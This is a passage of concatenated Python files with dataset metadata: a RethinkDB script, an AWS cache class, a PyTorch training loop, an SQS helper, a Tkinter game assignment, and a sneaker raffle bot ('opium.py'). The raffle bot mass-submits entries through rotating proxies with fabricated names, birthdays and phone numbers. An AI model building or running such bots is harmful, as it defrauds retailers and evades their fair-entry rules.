config.Config()\n\nr.connect(\n host=CONFIG.get('rethinkdb', 'hostname'),\n port=CONFIG.get('rethinkdb', 'port'),\n db=CONFIG.get('rethinkdb', 'dbname')\n).repl()\n\n\nif __name__ == '__main__':\n # get harddrives and fqdn\n for doc in r.table('hosts').filter(\n (r.row['facts']['is_virtual'] == 'false')).pluck(\n 'harddrives', {'facts': 'fqdn'}).run():\n drives = {}\n # continue if it's already done\n if isinstance((doc['harddrives']), dict):\n continue\n keys = doc['harddrives'][0].split(';')[1:]\n for drive in doc['harddrives'][1:]:\n values = drive.split(';')\n drive_id = values.pop(0)\n drives[drive_id] = {}\n for index, value in enumerate(values):\n drives[drive_id][keys[index]] = value\n\n r.table('hosts').filter(\n r.row['facts']['fqdn'] == doc['facts']['fqdn']).update(\n {'harddrives': drives}).run()\n","sub_path":"harddrives2json.py","file_name":"harddrives2json.py","file_ext":"py","file_size_in_byte":1181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"497869532","text":"import os\nimport json\nimport glob\nfrom os import path, mkdir\nfrom shutil import rmtree\n\n\nclass Cache:\n def __init__(self, verbose=False):\n self.cache_dir = \"/tmp/awsmap-cache\"\n self.verbose = verbose\n if not path.exists(self.cache_dir):\n mkdir(self.cache_dir)\n\n def p(self, msg):\n if self.verbose:\n print(msg)\n\n def clear(self):\n rmtree(self.cache_dir)\n # for f in glob.glob(\"{}/**\".format(self.cache_dir)):\n # os.remove(f)\n\n def get_cache(self, cache_key):\n cache_file = \"{}/{}\".format(self.cache_dir, cache_key)\n if '/' in cache_key:\n account_dir = \"{}/{}\".format(self.cache_dir, cache_key.split(\"/\")[0])\n if not path.exists(account_dir):\n mkdir(account_dir)\n\n if not path.exists(cache_file):\n print(cache_file)\n return False\n else:\n return json.loads(open(cache_file).read())\n\n def set_cache(self, cache_key, data):\n cache_file = \"{}/{}\".format(self.cache_dir, cache_key)\n self.p(\"Setting cache: {}\".format(cache_file))\n f = open(cache_file, 'w')\n j_data = json.dumps(data, indent=4, sort_keys=True, default=str)\n f.write(j_data)\n return json.loads(j_data)\n","sub_path":"lib/awsmap/cache.py","file_name":"cache.py","file_ext":"py","file_size_in_byte":1290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"260028108","text":"import random\nimport string\nimport sys\nimport time\nfrom random import choice\nfrom threading import Thread\n\nimport names\nimport requests\nfrom colorama import Fore, init\n\nfrom config.useragents import ua\nfrom helpers.custom_logging import log\nfrom helpers.functions import (choose_random_n, gen_birthday, gen_phone,\n get_config, get_proxy2, get_time, read_from_txt, stop_program)\n\nfrom config.app_config import home, PATH_CONFIG, PATH_IMAGES, PATH_INSTA, PATH_LOG, PATH_VERIF, PATH_ACC\nfrom pathlib import Path\n\ndef account(l, proxy_list, s, fname, lname, email, password, birthday):\n try:\n headers = {\n 'authority': 'www.opiumparis.com',\n 'cache-control': 'max-age=0',\n 'origin': 'https://www.opiumparis.com',\n 'upgrade-insecure-requests': '1',\n 'content-type': 'application/x-www-form-urlencoded',\n 'user-agent': choice(ua),\n 'sec-fetch-mode': 'navigate',\n 'sec-fetch-user': '?1',\n 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',\n 'sec-fetch-site': 'same-origin',\n 'referer': l,\n 'accept-language': 'en-GB,en-US;q=0.9,en;q=0.8'\n }\n data = {\n 'id_customer': '',\n 'id_gender': '1',\n 'firstname': fname,\n 'lastname': lname,\n 'email': email,\n 'password': password,\n 'birthday': birthday,\n 'submitCreate': '1'\n }\n s.proxies = get_proxy2(proxy_list)\n content = s.post(l, headers=headers, data=data, timeout=10)\n if content.status_code != 200:\n log('e', Fore.RED + get_time() + 'Connection Error, rotating proxy...')\n return\n return content\n except (requests.exceptions.ProxyError, requests.exceptions.SSLError):\n pass\n except Exception as e:\n log('e', Fore.RED + get_time() + 'An exception occured: ' + str(e))\n time.sleep(2)\n sys.exit()\n\n\ndef entry(s, proxy_list, email):\n try:\n config = get_config()\n fname = names.get_first_name()\n lname = names.get_last_name()\n password = ''.join(random.choices(string.ascii_letters + string.digits, k=10))\n method = config['profile']['Email_type']\n \n birthday = gen_birthday()\n link = config['link_opium']\n\n sizelist = ['7 US - 40 EU', '7.5 US - 40.5 EU', '8 US - 41 EU', '8.5 US - 42 EU', '9 US - 42.5 EU', '9.5 US - 43 EU', '10 US - 44 EU', '10.5 US - 44.5 EU', '11 US - 45 EU', '11.5 US - 45.5 EU', '12 US - 46 EU', '12.5 US - 47 EU', '13 US - 47.5 EU']\n sizenum = random.randint(config['opium_size_1'], config['opium_size_2'])\n size = sizelist[sizenum]\n _l = link\n # log('i', Fore.GREEN + get_time() + \"Account Created !\")\n headers = {\n 'sec-fetch-mode': 'cors',\n 'origin': 'https://www.opiumparis.com',\n 'accept-language': 'en-GB,en-US;q=0.9,en;q=0.8',\n 'x-requested-with': 'XMLHttpRequest',\n 'user-agent': choice(ua),\n 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',\n 'accept': 'application/json, text/javascript, */*; q=0.01',\n 'referer': link,\n 'authority': 'www.opiumparis.com',\n 'sec-fetch-site': 'same-origin'\n }\n m2 = birthday.strip().split('/')\n neww = m2[2] + '-' + m2[1] + '-' + m2[0]\n data = {\n 'lastname': lname,\n 'firstname': fname,\n 'birthday': neww,\n 'size': size,\n 'email': email,\n 'phone': gen_phone(),\n 'cgv': '1',\n 'action': 'Raffle'\n }\n response = s.post(_l, headers=headers, data=data, timeout=10)\n if response.status_code not in (200, 201):\n log('e', Fore.RED + get_time() + \"Entry could not be submitted with status code [%s], trying again ...\" % response.status_code)\n entry(s, proxy_list, email)\n else:\n log('s', Fore.GREEN + get_time() + \"Entry submitted ! [%s]\" % email)\n with open(Path(PATH_LOG + \"opium.txt\"), 'a') as _account:\n _account.write(email + '\\n')\n\n \"\"\"\n if method == 'email':\n remove_email(path, email)\n \"\"\"\n\n except Exception as e:\n log('i', Fore.RED + get_time() + str(e))\n\n\ndef main():\n try:\n tc = int(input('How many entries ? -> '))\n except ValueError:\n log('i', Fore.RED + get_time() + \"Please input a number\")\n stop_program()\n requests.packages.urllib3.disable_warnings()\n\n config = get_config()\n delay = config['profile']['Delay']\n try:\n proxies = read_from_txt(Path(PATH_CONFIG + \"proxies.txt\"))\n except Exception:\n log('i', Fore.RED + get_time() + \"Proxy file is empty, please input some proxies.\")\n stop_program()\n try:\n emails = read_from_txt(Path(PATH_ACC + \"opium.txt\"))\n except Exception:\n log('i', Fore.RED + get_time() + \"Email file is empty, please input some emails.\")\n stop_program()\n log('i', Fore.CYAN + get_time() + str(len(proxies)) + \" proxies loaded.\")\n\n threads = []\n\n randomly_selected_emails = choose_random_n(emails, tc)\n\n for i in range(tc):\n s = requests.session()\n email = randomly_selected_emails[i].strip().split(':')[0]\n t = Thread(target=entry, args=(s, proxies, email,))\n \n threads.append(t)\n t.start()\n time.sleep(int(delay))\n\n for t in threads:\n t.join()\n time.sleep(2)\n\n\nif __name__ == '__main__':\n init(autoreset=True)\n main()\n","sub_path":"Desktop/Breaker-Raffle/scripts/opium.py","file_name":"opium.py","file_ext":"py","file_size_in_byte":5752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"476663348","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Apr 22 14:00:19 2019\n\n@author: rober\n\"\"\"\n\nimport numpy as np\nimport torch\nimport random\n\n\ndef batch_generator(X, Y, n_batches): \n \n random.seed(0)\n \n batch_size = X.shape[0] // n_batches\n \n idx = list(X.index)\n random.shuffle(idx) \n idx = idx[:n_batches*batch_size]\n \n for i in range(n_batches): \n bi = np.random.choice(idx, batch_size, replace=False)\n X_batch = X.loc[bi]\n Y_batch = Y.loc[bi]\n idx = [i for i in idx if i not in bi]\n yield (X_batch,Y_batch)\n \n \ndef comb_error(output, target, sig2):\n output = (output + 0.0001)*0.999 #help avoid numerical errors\n p = target[:,0]\n \n logErr1 = torch.mul(torch.log(output[:,0]), p)\n logErr2 = torch.mul(torch.log(1 - output[:,0]) , (1 - p))\n mseErr = torch.mul(torch.pow(target[:,1] - output[:,1], 2), (1 - p))\n \n logErr1 = -1 * torch.sum(logErr1)\n logErr2 = -1 * torch.sum(logErr2)\n mseErr = torch.sum(mseErr) \n \n return (1/output.shape[0]) * (logErr1 + logErr2 + (1/sig2)*mseErr) \n \n\ndef mae_error(output, target): \n y = target\n yhat = np.squeeze(output)\n MAE = np.mean(np.absolute(y - yhat)) \n return MAE \n\n\ndef fmapper(x):\n y = x.copy()\n y[x<9] = 1\n y[(x>=9) & (x<53)] = 2\n y[(x>=53) & (x<172)] = 3\n y[x>=172] = 4 \n return y\n\n\n\ndef hrat_error(output, target):\n y = target\n yhat = np.squeeze(output) \n yhat = fmapper(yhat)\n y = fmapper(y) \n hr = np.sum((yhat==y)*1)/len(y) \n return (1-hr) \n\n\n\ndef fit(X, X_val, Y, Y_val, net, optimizer, error, val_error, n_epochs, \n n_batches, batch_to_avg, ep_to_check, clipping, PATH, device, verbose, min_val_loss = float('inf')):\n \n torch.manual_seed(0)\n net = net.to(device)\n \n losses = []\n val_losses = []\n\n val_inputs = torch.FloatTensor(X_val.values)\n val_labels = torch.FloatTensor(Y_val)\n val_inputs, val_labels = val_inputs.to(device), val_labels.to(device) \n \n \n for epoch in range(n_epochs): # loop over the dataset multiple times\n \n running_loss = 0\n \n # zero the parameter gradients\n optimizer.zero_grad()\n \n counter = 0\n \n for batch_x, batch_y in batch_generator(X, Y, n_batches): \n \n counter += 1 \n \n net.train()\n # get the inputs\n inputs = torch.FloatTensor(batch_x.values)\n labels = torch.FloatTensor(batch_y.values)\n inputs, labels = inputs.to(device), labels.to(device) \n \n \n # forward + backward + optimize\n outputs = net.forward(inputs)\n loss = error(outputs, labels)\n \n loss.backward() \n \n running_loss += loss.item() \n \n if counter % batch_to_avg == 0:\n \n torch.nn.utils.clip_grad_norm_(net.parameters(), clipping) \n \n optimizer.step()\n optimizer.zero_grad() \n \n \n running_loss = running_loss/n_batches \n \n with torch.no_grad():\n net.eval()\n val_outputs = net.forward(val_inputs)\n \n val_outputs2, val_labels2 = val_outputs.cpu(), val_labels.cpu()\n val_outputs2, val_labels2 = val_outputs2.numpy(), val_labels2.numpy()\n \n val_loss = val_error(val_outputs2, val_labels2)\n \n losses.append(running_loss)\n val_losses.append(val_loss) \n \n \n if verbose == 1:\n print('Epoch {0}: Training Loss: {1}, Validation Loss: {2}'\\\n .format(epoch+1, running_loss, val_loss))\n \n \n \n if (epoch % ep_to_check == 0) and (epoch >= ep_to_check):\n \n mean_val_loss = np.mean(val_losses[-ep_to_check:])\n \n \n if mean_val_loss < min_val_loss:\n torch.save(net.state_dict(), PATH)\n if verbose == 1:\n print('New Checkpoint Saved into PATH')\n min_val_loss = mean_val_loss\n \n return (losses, val_losses, min_val_loss)\n ","sub_path":"2 PART MIXTURE/fit10_nn.py","file_name":"fit10_nn.py","file_ext":"py","file_size_in_byte":4368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"620483706","text":"from chalice import Chalice, Response\nimport boto3\n\nsqs = boto3.client('sqs')\n\n\nQUEUE_NAME = 'chalice-demo-queue'\n\n\ndef create_queue():\n try:\n queue = sqs.create_queue(QueueName=QUEUE_NAME, Attributes={\"DelaySeconds\": \"5\"})\n print(queue)\n return {'success': True, 'message': f'queue with name {QUEUE_NAME} created', 'status': 200}\n\n except Exception as e:\n print(e)\n return {'status_code': 400}\n\n\ndef send_message(message_body):\n try:\n queue_res = sqs.get_queue_url(QueueName=QUEUE_NAME)\n print(queue_res)\n queue_url = queue_res['QueueUrl']\n response = sqs.send_message(QueueUrl=queue_url, DelaySeconds=10, MessageBody=message_body)\n return {'status': 200, 'message': 'Message sent {}'.format(response['MessageId'])}\n except Exception as e:\n print(e)\n return {'status': 400, 'message': \"unable to send sqs message\"}\n\n\ndef get_messages():\n try:\n queue_response = sqs.get_queue_url(QueueName=QUEUE_NAME)\n queue_url = queue_response['QueueUrl']\n response = sqs.receive_message(\n QueueUrl=queue_url,\n AttributeNames=[\n 'SentTimestamp'\n ],\n MaxNumberOfMessages=10,\n MessageAttributeNames=[\n 'All'\n ],\n VisibilityTimeout=20,\n WaitTimeSeconds=20\n )\n\n messages = response['Messages']\n\n return messages\n\n except Exception as e:\n print(str(e))\n # app.log.error('error occurred during creating queue')\n return {\"Error\": 'error occurred during sending message queue' + str(e), \"status_code\": 400}\n","sub_path":"my-app/chalicelib/sqs_service.py","file_name":"sqs_service.py","file_ext":"py","file_size_in_byte":1668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"344410466","text":"import tkinter\r\nfrom tkinter import *\r\nimport time \r\nimport random\r\n\r\n\r\n#Counter class for counter object\r\nclass Counter(object):\r\n def __init__(self):\r\n self._counter = 0\r\n \r\n def getCounter(self):\r\n return self._counter\r\n\r\n def increment(self):\r\n self._counter = self._counter + 1\r\n score[\"text\"] = self._counter\r\n \r\n def decrement(self): #used for rocket percentage\r\n self._counter = self._counter - 1\r\n \r\n def reset(self):\r\n self._counter = 0\r\n \r\n counter = property(getCounter)\r\n\r\n \r\n#rocket class, object will have different values for each component\r\nclass RocketSpecs:\r\n def __init__(self,weight,power):\r\n self.weight = weight\r\n self.power = power\r\n \r\n def getWeight(self):\r\n return self.weight\r\n \r\n def getPower(self):\r\n return self.power\r\n \r\n def weightinc(self):\r\n self.weight += 1\r\n \r\n def powerinc(self):\r\n self.power += 1\r\n \r\n def resetWeight(self):\r\n self.weight = 0\r\n \r\nrocket = RocketSpecs(0,0)\r\n\r\n\r\n#gets the time and draws thwe rectangle in random position when start button pressed or when rectangle clicked\r\ndef cb2():\r\n canvas.delete(ALL)\r\n global timer1\r\n timer1 = time.time()\r\n randomx = random.randint(0,300)\r\n randomy = random.randint(0,250)\r\n rectangle = canvas.create_rectangle(randomx, randomy, randomx+30 , randomy+30, fill=\"blue\", outline=\"red\")\r\n canvas.tag_bind(rectangle, \"<ButtonPress-1>\", addCounter)\r\n\r\n\r\n#increments counter when rectangle clicked on \r\ndef addCounter(event):\r\n global timer2\r\n timer2 = time.time()\r\n if (timer2 - timer1) < 2:\r\n counter.increment()\r\n canvas.delete(ALL)\r\n cb2()\r\n \r\n\r\n \r\n\r\ncounter = Counter()\r\n\r\n\r\n#function which draws the initial unfinished snowman picture, awaits keyboard input\r\ndef house():\r\n clearForGame()\r\n frame5.grid_remove()\r\n canvas.delete(ALL)\r\n frame2.grid_remove()\r\n frame6.grid_remove()\r\n score.grid_remove()\r\n nameLabel.grid()\r\n nameButton.grid()\r\n dinput.grid()\r\n points1 = [15,200,60,25,60,25,115,200,115,200,15,200]\r\n tree = canvas.create_polygon(points1,outline=\"green\",fill=\"green\",width=6)\r\n snowmanBottom = canvas.create_oval(250,150,350,250,fill=\"white\")\r\n snowmanTop = canvas.create_oval(275,100,325,165,fill=\"white\")\r\n ground = canvas.create_rectangle(0,250,400,300, fill=\"white\")\r\n canvas.create_rectangle(55,203,75,250,fill=\"brown\")\r\n canvas.configure(bg=\"black\")\r\n instructionLabel[\"text\"] = \"Merry Christmas!\\n\\n INSTRUCTIONS \\n Finish the picture:\\n Star: 't'\\n Lights: 'r'\\n Present: 'e'\\n Eyes: 's' \\nCarrot: 'h'\\n Arm: 'd'\\n Buttons: 'g'\\n Add Hat: 'y'\\n RESTART: 'f'\"\r\n \r\n master.bind(\"<Key>\", keyAdd)\r\n counter.reset()\r\n score[\"text\"] = 0\r\n\r\n#each function in this class corresponds to a keyboard input which determines what is drawn\r\nclass presents:\r\n def __init__(self, x, y, x2, y2):\r\n self.x = x\r\n self.y = y\r\n self.x2 = x2\r\n self.y2 = y2\r\n\r\n def drawPresent():\r\n p1 = presents(81, 215, 120, 251)\r\n present = canvas.create_rectangle(p1.x,p1.y,p1.x2,p1.y2,fill=\"red\")\r\n wrappingy = canvas.create_line(p1.x+21,p1.y+1,p1.x2-19,p1.y2-1,fill=\"yellow\", width=5)\r\n wrappingx = canvas.create_line(p1.x+1,p1.y+18,p1.x2-1,p1.y2-18,fill=\"yellow\",width=5)\r\n\r\n \r\n\r\n def drawHat():\r\n hb = presents(270,95,330,110) \r\n htop = presents(280,60,320,96)\r\n bottom = canvas.create_rectangle(hb.x,hb.y,hb.x2,hb.y2,fill=\"gray40\", outline=\"red\")\r\n top = canvas.create_rectangle(htop.x,htop.y,htop.x2,htop.y2,fill=\"gray40\", outline=\"red\")\r\n\r\n def drawCarrot():\r\n carrot = canvas.create_polygon(294,135,302,135,302,135,298,160,298,160,294,135, outline=\"orange\", fill=\"orange\")\r\n\r\n def drawButtons():\r\n buttons_list = [175, 200, 225]\r\n for button in buttons_list:\r\n canvas.create_oval(292,button,304,button+10,fill=\"black\")\r\n\r\n def drawStar():\r\n star_points = [60,17,40,25,60,17,80,25,80,25,65,10,65,10,80,5,80,5,65,0,40,25,55,10,55,10,40,5,40,5,55,0]\r\n canvas.create_polygon(star_points, fill=\"yellow\",outline=\"yellow\", width=5)\r\n\r\n def drawLights():\r\n row = [50,62,75]\r\n row1 = [38,50,62,74,85]\r\n row2 = [27,39,51,63,75,87,99]\r\n for light in row:\r\n canvas.create_oval(light,light+5,light+10,light,fill=\"white\")\r\n for light1 in row1:\r\n canvas.create_oval(light1,light1+50,light1+10,light1+45,fill=\"red\")\r\n for light2 in row2:\r\n canvas.create_oval(light2,light2+100,light2+10,light2+95,fill=\"gold\")\r\n for light3 in row:\r\n canvas.create_oval(light3-23,light3+125,light3-13,light3+120,fill=\"white\")\r\n\r\n def drawBranch():\r\n branch_points = [265,165,255,170,255,170,225,145,225,145,215,160,215,160,213,143,213,143,200,155,200,155,210,140,210,140,265,165 ]\r\n canvas.create_polygon(branch_points, fill=\"brown\",outline=\"brown\", width=2)\r\n\r\n def drawEyes():\r\n eye_list = [280,304]\r\n for eye in eye_list:\r\n canvas.create_oval(eye,125,eye+12,135,fill=\"black\")\r\n\r\n#waits for keyboard input to draw the snowman picture \r\ndef keyAdd(event):\r\n if event.char == \"e\" or event.char == \"E\":\r\n presents.drawPresent()\r\n \r\n if event.char== \"y\" or event.char == \"Y\":\r\n presents.drawHat()\r\n \r\n if event.char == \"h\" or event.char == \"H\":\r\n presents.drawCarrot()\r\n \r\n if event.char == \"g\" or event.char == \"G\":\r\n presents.drawButtons()\r\n \r\n if event.char == \"t\" or event.char == \"T\":\r\n presents.drawStar()\r\n \r\n if event.char == \"r\" or event.char == \"R\":\r\n presents.drawLights()\r\n \r\n if event.char == \"d\" or event.char == \"D\":\r\n presents.drawBranch()\r\n\r\n if event.char == \"s\" or event.char == \"S\":\r\n presents.drawEyes()\r\n \r\n if event.char == \"f\" or event.char == \"F\":\r\n house()\r\n \r\n\r\n\r\n#square objects created with coordinates and fill color, can move in any direction, enlarge and change colour \r\nclass Squares:\r\n def __init__(self, x, y, x2, y2, colour):\r\n self.x = x\r\n self.y = y\r\n self.x2 = x2\r\n self.y2 = y2\r\n self.colour = colour\r\n \r\n def moveright(self):\r\n if self.x <= 400:\r\n self.x += 5\r\n self.y = self.y\r\n self.x2 += 5\r\n self.y2 = self.y2\r\n else:\r\n self.x = 0\r\n self.y = self.y\r\n self.x2 = 30\r\n self.y2 = self.y2\r\n self.draw()\r\n \r\n def moveleft(self):\r\n if self.x2 >= 0:\r\n self.x -= 5\r\n self.y = self.y\r\n self.x2 -= 5\r\n self.y2 = self.y2\r\n else:\r\n self.x = 400\r\n self.y = self.y\r\n self.x2 = 430\r\n self.y2 = self.y2\r\n self.draw()\r\n \r\n def moveup(self):\r\n if self.y2 >= 0:\r\n self.x = self.x\r\n self.y -= 5\r\n self.x2 = self.x2\r\n self.y2 -= 5\r\n else:\r\n self.x = self.x\r\n self.y = 300\r\n self.x2 = self.x2\r\n self.y2 = 330\r\n self.draw()\r\n \r\n def movedown(self):\r\n if self.y <= 300:\r\n self.x = self.x\r\n self.y += 5\r\n self.x2 = self.x2\r\n self.y2 += 5\r\n else:\r\n self.x = self.x\r\n self.y = 0\r\n self.x2 = self.x2\r\n self.y2 = 30\r\n self.draw()\r\n \r\n \r\n def bigger(self):\r\n self.x = self.x\r\n self.y = self.y\r\n self.x2 = self.x2+20\r\n self.y2 = self.y2+20\r\n \r\n \r\n def draw(self):\r\n canvas.create_rectangle(sq1.x, sq1.y, sq1.x2, sq1.y2, fill=sq1.colour)\r\n \r\n def blue(self):\r\n self.colour = \"Blue\"\r\n \r\n def green(self):\r\n self.colour = \"Green\"\r\n \r\n def orange(self):\r\n self.colour = \"Orange\"\r\n \r\n\r\n\r\n \r\n \r\n\r\nsq1 = Squares(100, 120, 130, 150, \"orange\")\r\n \r\n#this listens to what key is pressed which will determine the direction the object will move\r\ndef direction(event):\r\n if event.char == \"d\" or event.char == \"D\":\r\n sq1.moveright()\r\n if event.char == \"a\" or event.char == \"A\":\r\n sq1.moveleft()\r\n if event.char == \"w\" or event.char == \"W\":\r\n sq1.moveup()\r\n if event.char == \"s\" or event.char == \"S\":\r\n sq1.movedown()\r\n\r\n \r\n \r\n \r\n#this function initialises the canvas for the flags game, removes all other redundant widgets\r\ndef moving():\r\n clearForGame()\r\n canvas.delete(ALL)\r\n instructionLabel[\"text\"] = \"\"\"Flags Game\\n\\nUsing 'awsd' keys:\\nHold 'a'--> Left\\nHold 'd'--> Right\\nHold 'w'--> Up\\nHold 's'--> Down\\n\\n\r\n *CHALLENGE*\\n 1.Draw the flag\\n of Finland\\n 2.Draw the flag\\n of Ireland\\n (Hint: Use Enlarge to\\n cover more area)\"\"\"\r\n canvas.configure(bg=\"white\")\r\n counter.reset()\r\n score[\"text\"] = 0\r\n frame2.grid_remove()\r\n frame6.grid_remove()\r\n score.grid_remove()\r\n nameLabel.grid()\r\n nameButton.grid()\r\n dinput.grid()\r\n canvas.create_rectangle(sq1.x, sq1.y, sq1.x2, sq1.y2, fill=\"orange\")\r\n \r\n ###FRAME AT BOTTOM FOR THE MOVEMENT GAME###\r\n frame5.grid()\r\n ###CONTROL PANEL, DIFFERENT COLOURS AND ENLARGE###\r\n blueButton = Button(frame5, text=\"BLUE\", command=sq1.blue)\r\n blueButton.configure(width=12, bg=\"blue\", fg=\"white\")\r\n blueButton.grid(column=0, row=0)\r\n orangeButton = Button(frame5, text=\"ORANGE\", command=sq1.orange)\r\n orangeButton.configure(width=12, bg=\"orange\", fg=\"white\")\r\n orangeButton.grid(column=1, row=0)\r\n greenButton = Button(frame5, text=\"GREEN\", command=sq1.green)\r\n greenButton.configure(width=12, bg=\"green\", fg=\"white\")\r\n greenButton.grid(column=2, row=0)\r\n biggerButton = Button(frame5, text=\"ENLARGE\", command=sq1.bigger)\r\n biggerButton.configure(width=9, bg=\"gray48\", fg=\"white\")\r\n biggerButton.grid(column=3, row=0)\r\n clearButton = Button(frame5, text=\"CLEAR\", command=moving)\r\n clearButton.configure(width=9, bg=\"gray48\", fg=\"white\")\r\n clearButton.grid(column=4, row=0)\r\n ###LISTEN FOR AWSD KEY###\r\n master.bind(\"<Key>\", direction)\r\n\r\n#clear for Rocket Assembly game\r\ndef clearWhole():\r\n frame1.grid_remove()\r\n frame2.grid_remove()\r\n frame5.grid_remove()\r\n frame6.grid_remove()\r\n score.grid_remove()\r\n score.grid_remove()\r\n nameLabel.grid_remove()\r\n nameButton.grid_remove()\r\n dinput.grid_remove()\r\n counter.reset()\r\n frame6.grid()\r\n createForm()\r\n \r\n \r\ndef clearForGame(): #clear for the 2 second shape game\r\n frame1.grid()\r\n frame2.grid()\r\n frame5.grid_remove()\r\n frame6.grid_remove()\r\n score.grid()\r\n nameLabel.grid()\r\n nameButton.grid()\r\n dinput.grid()\r\n canvas.delete(ALL)\r\n instructionLabel[\"text\"] = \"Press Start Button \\nClick within 2 secs\\n\\nGOOD LUCK!\"\r\n canvas.configure(bg=\"white\")\r\n counter.reset()\r\n score[\"text\"] = 0\r\n\r\n\r\n#process the input in the name entry, if there is any\r\ndef getName():\r\n name = dinput.get()\r\n if name:\r\n nameLabel[\"text\"] = \"Name: \"+ name\r\n master.configure(bg=\"green\")\r\n start.configure(bg=\"chartreuse2\")\r\n nameButton.configure(bg=\"chartreuse2\")\r\n dinput.configure(fg=\"green\")\r\n instructionLabel.configure(bg=\"chartreuse2\", width=16, height=20)\r\n\r\n frame1.configure(bg=\"green\")\r\n frame2.configure(bg=\"green\")\r\n\r\n name2 = Label(frame1, text=name, pady=10)\r\n name2.configure(width=32, fg=\"green\",bg=\"chartreuse2\", padx=0, font =(\"Helvetica\", 16))\r\n name2.grid(column=2, row=0)\r\n\r\n else:\r\n nameLabel['text'] = \"NO NAME ENTERED\"\r\n canvas.delete(ALL)\r\n master.configure(bg=\"black\")\r\n start.configure(bg=\"gray32\")\r\n nameButton.configure(bg=\"gray32\")\r\n\r\n frame1.configure(bg=\"black\")\r\n frame2.configure(bg=\"black\")\r\n\r\n\r\n \r\n#initialises the rocket assembly frame\r\ndef createForm():\r\n titleToppings = Label(frame6, text=\"Rocket Assemble\", bg=\"black\",fg=\"white\", padx=20)\r\n titleToppings.grid(row=0,column=0)\r\n addTopping = Label(frame6, text=\"\"\"Target: Land on the Moon\\nINSTRUCTIONS: \\n1.Assume fuel, engines already included.\\n2.Select your components below for your rocket. \\n3.Boosters and command module are essential!\\n4. Challenge: Get 100% chance\\n\\nHINT: Adding more components results in a heavier rocket,\\n and a heavy rocket will decrease success rate...\"\"\")\r\n addTopping.grid(row=1,column=0)\r\n \r\n#find out which checkboxes have been pressed then do something\r\ndef getToppings(): \r\n rocket.resetWeight()\r\n if landingvar.get() == 1:\r\n rocket.weightinc()\r\n counter.increment()\r\n landingLabel = Label(frame6, text=\"Go for launch\", fg=\"green\")\r\n landingLabel.grid(column=2,row=6)\r\n if landingvar.get() != 1:\r\n landingLabel = Label(frame6, text=\"Not selected\", fg=\"red\")\r\n landingLabel.grid(column=2,row=6)\r\n \r\n if commandvar.get() == 1:\r\n counter.increment()\r\n commandLabel = Label(frame6, text=\"Go for launch\", fg=\"green\")\r\n commandLabel.grid(column=2,row=5)\r\n if commandvar.get() != 1:\r\n commandLabel = Label(frame6, text=\"Not selected\", fg=\"red\")\r\n commandLabel.grid(column=2,row=5)\r\n \r\n \r\n if extravar.get() == 1:\r\n rocket.weightinc()\r\n counter.increment()\r\n extraLabel = Label(frame6, text=\"Go for launch\", fg=\"green\")\r\n extraLabel.grid(column=2,row=4)\r\n if extravar.get() != 1:\r\n extraLabel = Label(frame6, text=\"Not selected\", fg=\"red\")\r\n extraLabel.grid(column=2,row=4)\r\n \r\n if fuelvar.get() == 1:\r\n counter.increment()\r\n rocket.weightinc()\r\n fuelLabel = Label(frame6, text=\"Go for launch\", fg=\"green\")\r\n fuelLabel.grid(column=2,row=3)\r\n if fuelvar.get() != 1:\r\n fuelLabel = Label(frame6, text=\"Not selected\", fg=\"red\")\r\n fuelLabel.grid(column=2,row=3)\r\n \r\n if boostersvar.get() == 1:\r\n rocket.weightinc()\r\n counter.increment()\r\n boostersLabel = Label(frame6, text=\"Go for launch\", fg=\"green\")\r\n boostersLabel.grid(column=2,row=2)\r\n if boostersvar.get() != 1:\r\n boostersLabel = Label(frame6, text=\"Not selected\", fg=\"red\")\r\n boostersLabel.grid(column=2,row=2)\r\n \r\n \r\n if rovervar.get() == 1:\r\n rocket.weightinc()\r\n counter.increment()\r\n roverLabel = Label(frame6, text=\"Go for launch\", fg=\"green\")\r\n roverLabel.grid(column=2,row=7)\r\n if rovervar.get() != 1:\r\n roverLabel = Label(frame6, text=\"Not selected\", fg=\"red\")\r\n roverLabel.grid(column=2,row=7)\r\n calculate()\r\n \r\ndef weights():\r\n calculate()\r\n \r\n#calculate the percentage based off the counter and rocket object values\r\ndef calculate():\r\n overallPercentage = 100\r\n chance = overallPercentage-(rocket.getWeight()*10)\r\n percentageLabel [\"text\"] = \"Percentage Chance: {}%\".format(chance)\r\n if counter.getCounter() < 2:\r\n percentageLabel [\"text\"] = \"Percentage Chance: {}%\\n\\n Only {} components selected,\\n rocket is incomplete.\".format(chance, counter.getCounter())\r\n if rocket.getWeight() > 3:\r\n percentageLabel [\"text\"] = \"Percentage Chance: 20%\\n\\n Many heavy components selected,\\n fuel supply will drain before destination\"\r\n if commandvar.get() != 1:\r\n percentageLabel[\"text\"] = \"Percentage Chance: 0%\\n\\n No Command Module selected!\\nHow will you control the rocket???\"\r\n if boostersvar.get() != 1:\r\n percentageLabel[\"text\"] = \"Percentage Chance: 0%\\n\\n Cannot leave atmosphere\\nwithout booster rockets\" \r\n if counter.getCounter() == 3 and boostersvar.get() == 1 and commandvar.get() == 1 and landingvar.get() == 1:\r\n percentageLabel[\"text\"] = \"Percentage Chance: 100%\\n\\n SUCCESS\" \r\n counter.reset()\r\n \r\n#reset the checkboxes(unticked)\r\ndef resetCheckboxes():\r\n counter.reset()\r\n percentageLabel[\"text\"] = \"Percentage Chance: 0%\"\r\n boostersvar.set(0)\r\n fuelvar.set(0)\r\n extravar.set(0)\r\n commandvar.set(0)\r\n landingvar.set(0)\r\n rovervar.set(0)\r\n rocket.resetWeight()\r\n \r\n\r\nmaster = Tk()\r\nmaster.title(\"Assignment 2\")\r\nmaster.geometry(\"900x600\")\r\nmaster.configure(bg=\"red\")\r\n\r\n###MENU###\r\nmenu_bar= tkinter.Menu(master)\r\nmaster.config(menu=menu_bar)\r\nsub_menu= tkinter.Menu(menu_bar)\r\nsub_menu1= tkinter.Menu(menu_bar)\r\n\r\nmenu_bar.add_cascade(label=\"Canvas\", 